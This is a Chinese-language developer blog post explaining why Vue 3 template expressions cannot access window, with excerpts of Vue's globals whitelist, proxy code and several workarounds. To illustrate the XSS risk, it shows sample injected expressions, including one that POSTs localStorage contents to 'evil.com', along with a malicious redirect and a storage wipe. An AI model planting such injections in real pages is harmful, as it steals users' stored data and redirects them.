vue-vue模版为什么用不了window对象
Vue 模板运行在一个受限的沙箱环境中,只能访问组件的数据和一些被允许的全局变量,window 不在这个”白名单”里。
在vue的官方文档中,有关于该情况的描述:
Template expressions are sandboxed and only have access to a restricted list of globals.
翻译过来就是:模板表达式被沙箱化了,只能访问受限的全局变量列表。
在 Vue 的 GitHub Issue #1353 里,有开发者问能不能在模板里访问 window,Vue 团队的回复很直接:
这是设计决定,不是 bug。
模板表达式出于安全原因被故意限制在沙箱中。如果需要访问 window 属性,应该在组件的 methods 或 computed 属性中进行。
白名单机制
在 Vue 3 的源码里,我找到了这个白名单:
// Vue 3 源码:packages/shared/src/globalsWhitelist.ts
1
2
3
4
5
const GLOBALS_WHITE_LISTED =
'Infinity,undefined,NaN,isFinite,isNaN,' +
'parseFloat,parseInt,decodeURI,decodeURIComponent,' +
'encodeURI,encodeURIComponent,Math,Number,Date,Array,' +
'Object,Boolean,String,RegExp,Map,Set,JSON,Intl,BigInt'Math、Date、JSON 这些都在白名单里,所以模板里可以用。但是 window、document、console 这些就没有,所以用不了。
代理机制
Vue 是通过 Proxy 来实现这个限制的:
// Vue 3 源码:packages/runtime-core/src/componentPublicInstance.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
export const PublicInstanceProxyHandlers: ProxyHandler<any> = {
get({ _: instance }, key) {
// 查找顺序很重要!
// 1️⃣ 先找组件自己的属性(data、computed、methods、props)
if (key[0] !== '$') {
// 这里会查找组件实例的属性
}
// 2️⃣ 再找全局属性($route、$router 等)
const publicGetter = publicPropertiesMap[key]
if (publicGetter) {
return publicGetter(instance)
}
// 3️⃣ 最后检查白名单
if (isGloballyWhitelisted(key)) {
return (window as any)[key] // 只有白名单里的才能访问 window
}
// 4️⃣ 其他情况就报警告
if (process.env.NODE_ENV !== 'production') {
warn(`Property "${key}" was accessed but is not defined.`)
}
return undefined
}
}这个代理的逻辑很清楚:先找组件自己的东西,再找全局属性,最后检查白名单。如果都没找到,就返回 undefined 并且警告。
为什么要这么设计?
刚开始我也觉得这个限制有点麻烦,但深入了解后发现,Vue 这么做是有道理的。
安全考虑
最主要的原因是防止 XSS 攻击。想象一下,如果模板里可以随意访问全局变量,恶意用户可能会注入这样的代码:
1
2
3
4
// 🚨 如果没有限制,这些恶意代码都可能被执行
{{ window.location.href = 'https://malicious.com' }}
{{ window.localStorage.clear() }}
{{ window.fetch('https://evil.com', { method: 'POST', body: JSON.stringify(window.localStorage) }) }}性能考虑
限制作用域查找范围,可以提高表达式求值的性能。如果允许访问所有全局变量,每次求值都要在多个作用域中查找,开销会更大。
代码质量
强制开发者把逻辑放在合适的地方,而不是在模板里写复杂的表达式。这样代码结构更清晰,也更好维护。
实际项目中怎么办?
说了这么多原理,那在实际项目中遇到需要访问全局变量的情况怎么办呢?我总结了几种方法:
方法一:通过 computed 属性(推荐)
1
2
3
4
5
6
7
8
9
10
11
computed: {
currentUrl() {
return window.location.href
},
pageTitle() {
return document.title
},
isOnline() {
return navigator.onLine
}
}方法二:通过 methods。
1
2
3
4
5
6
7
8
methods: {
openWindow(url) {
window.open(url, '_blank')
},
copyToClipboard(text) {
navigator.clipboard.writeText(text)
}
}方法三:全局属性注册(适合系统级需求)
1
2
3
4
5
6
7
8
9
// main.js
const app = createApp(App)
app.config.globalProperties.$window = window
app.config.globalProperties.$document = document
// 模板中就可以用了
// {{ $window.innerWidth }}
// {{ $document.title }}方法四:Composition API 的方式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// composables/useWindow.js
import { ref, onMounted, onUnmounted } from 'vue'
export function useWindow() {
const width = ref(window.innerWidth)
const height = ref(window.innerHeight)
const updateSize = () => {
width.value = window.innerWidth
height.value = window.innerHeight
}
onMounted(() => {
window.addEventListener('resize', updateSize)
})
onUnmounted(() => {
window.removeEventListener('resize', updateSize)
})
return { width, height }
}一些有趣的发现
在研究这个问题的过程中,我还发现了一些有意思的东西:
为什么 Math.random() 可以用?
因为 Math 在白名单里啊!Vue 认为这些内置的数学、日期、JSON 相关的对象是安全的,所以允许访问。
React 也有这个限制吗?
React 没有!因为 React 用的是 JSX,本质上就是 JavaScript,没有额外的模板编译过程。但这也意味着 React 在安全性方面需要开发者自己把控。
总结
Vue 模板的作用域限制看起来像是一个”坑”,但实际上是一个精心设计的安全特性。它强制我们:
把逻辑放在合适的地方 - 模板专注于展示,逻辑放在 JavaScript 中
提高代码质量 - 避免在模板里写复杂的表达式
保证安全性 - 防止恶意代码注入
优化性能 - 减少不必要的全局变量查找
虽然刚开始可能会觉得不方便,但习惯了之后会发现这样的代码结构更清晰,也更安全。
记住一个原则:模板是视图层,不是逻辑层。把复杂的逻辑交给 JavaScript,让模板保持简洁和安全。
